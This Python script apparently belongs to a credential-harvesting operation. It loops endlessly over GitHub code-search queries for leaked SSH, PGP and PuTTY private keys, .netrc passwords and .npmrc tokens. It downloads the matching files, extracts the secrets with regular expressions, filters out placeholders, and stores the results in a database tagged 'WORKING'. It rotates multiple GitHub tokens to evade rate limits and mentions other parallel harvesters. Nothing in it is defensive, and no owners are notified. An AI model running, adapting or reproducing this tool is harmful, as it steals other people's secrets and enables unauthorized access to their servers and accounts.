"""ETERNAL SSH/creds hunt: GitHub code search for private keys (OpenSSH/RSA/ EC/DSA/PKCS8/PGP/PuTTY) + .netrc + .npmrc. Keys stored b64-encoded single-line (status WORKING — structural validity, no API to check). Logs ssh_eternal.log.""" import os KF_BASE = os.path.dirname(os.path.abspath(__file__)) os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True) import base64 import hashlib import random import re import sqlite3 import subprocess import time import requests DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data", "keys.db") LOG = "data/ssh_eternal.log" TOKENS_FILE = "gh_tokens.txt" UA = {"User-Agent": "keyhunter-ssh"} # (prov, code-search query) DORKS = [ ("SSH_KEY", '"BEGIN OPENSSH PRIVATE KEY"'), ("SSH_KEY", '"BEGIN RSA PRIVATE KEY"'), ("SSH_KEY", '"BEGIN EC PRIVATE KEY"'), ("SSH_KEY", '"BEGIN DSA PRIVATE KEY"'), ("SSH_KEY", '"BEGIN PRIVATE KEY" -BEGIN"RSA"'), ("PGP_KEY", '"BEGIN PGP PRIVATE KEY BLOCK"'), ("PUTTY_KEY", '"PuTTY-User-Key-File-2"'), ("NETRC", "filename:.netrc password"), ("NPMRC_TOKEN", "filename:.npmrc _authToken"), ] PEM_RX = re.compile( r"-----BEGIN [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----[\s\S]+?" r"-----END [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----") PPK_RX = re.compile( r"PuTTY-User-Key-File-\d[\s\S]{100,30000}?Private-MAC: [0-9A-Fa-f]{16,}") NPMRC_RX = re.compile(r"_authToken=([0-9A-Za-z_-]{20,})") NETRC_RX = re.compile( r"machine\s+(\S+)\s+login\s+(\S+)\s+password\s+(\S+)") GARBAGE = ("xxxx", "EXAMPLE", "example", "FAKE", "fake", "placehol", "changeme", "yourkey", "deadbeef", "00000", "test", "TEST") def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, flush=True) with open(LOG, "a", encoding="utf-8", errors="replace") as f: f.write(line) def load_tokens(): toks = [] try: r = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=5) if r.stdout.strip(): toks.append(r.stdout.strip()) except Exception: pass try: with open(TOKENS_FILE, "r", encoding="utf-8") as f: for line in f: t = line.strip() if t and not t.startswith("#") and t not in toks: toks.append(t) except Exception: pass return toks TOKENS = load_tokens() _idx = 0 def tok(): global _idx if not TOKENS: return None _idx = (_idx + 1) % len(TOKENS) return TOKENS[_idx] def db_exec(cur, sql, args): for _ in range(6): try: return cur.execute(sql, args) except sqlite3.OperationalError: time.sleep(5) return cur.execute(sql, args) def db_add(cur, seen, val, prov, repo): if isinstance(val, tuple): val = val[0] if val in seen or len(val) < 30: return 0 seen.add(val) db_exec( cur, "INSERT INTO keys (hash, val, prov, status, found, repo) " "VALUES (?,?,?,?,?,?) " "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo " "WHERE keys.status IN ('DEAD','ERR')", (hashlib.sha1(val.encode()).hexdigest()[:16], val, prov, "WORKING", "ssh", repo)) return 1 def extract(text, prov_hint, out, repo): n = 0 for m in PEM_RX.finditer(text): block = m.group(0) # count base64 payload length between header/footer lines lines = block.strip().splitlines() payload = "".join(lines[1:-1]) if len(lines) > 2 else "" if len(payload) < 80 or any(g in block for g in GARBAGE): continue prov = "PGP_KEY" if "PGP" in block else "SSH_KEY" enc = "b64:" + base64.b64encode(block.encode()).decode() out.append((enc, prov)); n += 1 for m in PPK_RX.finditer(text): block = m.group(0) if any(g in block for g in GARBAGE): continue enc = "b64:" + base64.b64encode(block.encode()).decode() out.append((enc, "PUTTY_KEY")); n += 1 if prov_hint == "NETRC": for m in NETRC_RX.finditer(text): val = f"{m.group(1)}:{m.group(2)}:{m.group(3)}" if any(g in val for g in GARBAGE): continue out.append((val, "NETRC")); n += 1 if prov_hint == "NPMRC_TOKEN": for m in NPMRC_RX.finditer(text): if any(g in m.group(1) for g in GARBAGE): continue out.append((m.group(1), "NPMRC_TOKEN")); n += 1 return n def search_code(query, page, session): for attempt in range(3): h = dict(UA) t = tok() if t: h["Authorization"] = f"Bearer {t}" try: r = session.get( "https://api.github.com/search/code", params={"q": query, "per_page": 50, "page": page}, headers=h, timeout=30) except requests.RequestException as e: log(f"search net-err {type(e).__name__} q={query[:40]}") time.sleep(30) continue if r.status_code in (403, 429): return "rate", [] if r.status_code == 401 and attempt < 2: continue # dead token block — rotate and retry if r.status_code != 200: return f"err{r.status_code}", [] return "ok", r.json().get("items", []) return "err401", [] def fetch_raw(item, session): h = dict(UA) t = tok() if t: h["Authorization"] = f"Bearer {t}" url = item.get("git_url") # blob API if not url: return None try: r = session.get(url, headers=h, timeout=30) except requests.RequestException: return None if r.status_code != 200: return None try: data = __import__("json").loads(r.text) return base64.b64decode(data.get("content", "")).decode( "utf-8", errors="replace") except Exception: return None def main(): log("ssh_eternal started") session = requests.Session() if not TOKENS: log("WARNING: no tokens — GitHub search will fail; relying on anon") seen = set() cycle = 0 while True: cycle += 1 for prov_hint, query in DORKS: try: found = 0 for page in (1, 2): status, items = search_code(query, page, session) if status != "ok": if status == "rate": log("rate limited — sleep 60s") time.sleep(60) else: log(f"search {status} q={query[:40]}") break out = [] for item in items: repo = item.get("repository", {}).get( "full_name", "unknown") text = fetch_raw(item, session) if not text or len(text) > 500_000: continue found += extract(text, prov_hint, out, repo) if out: # ponytail: retry loop vs concurrent writers (hunt5, # rescue, eternal_v10) holding the WAL lock for db_try in range(5): try: c = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None) try: for val, prov in out: db_add(c, seen, val, prov, repo) c.commit() finally: c.close() break except sqlite3.OperationalError as e: log(f"db lock retry {db_try + 1}/5: {e}") time.sleep(60) else: log(f"db insert FAILED, dropping {len(out)} keys") time.sleep(3 + random.random() * 2) log(f"cycle {cycle} [{prov_hint}] +{found} (seen={len(seen)})") except Exception as e: log(f"dork {prov_hint} error: {type(e).__name__}: {e}") time.sleep(5 + random.random() * 5) # long pause between full dork sweeps (search rate limits are shared # with eternal_v10 on the node) time.sleep(120 + random.random() * 120) if __name__ == "__main__": main()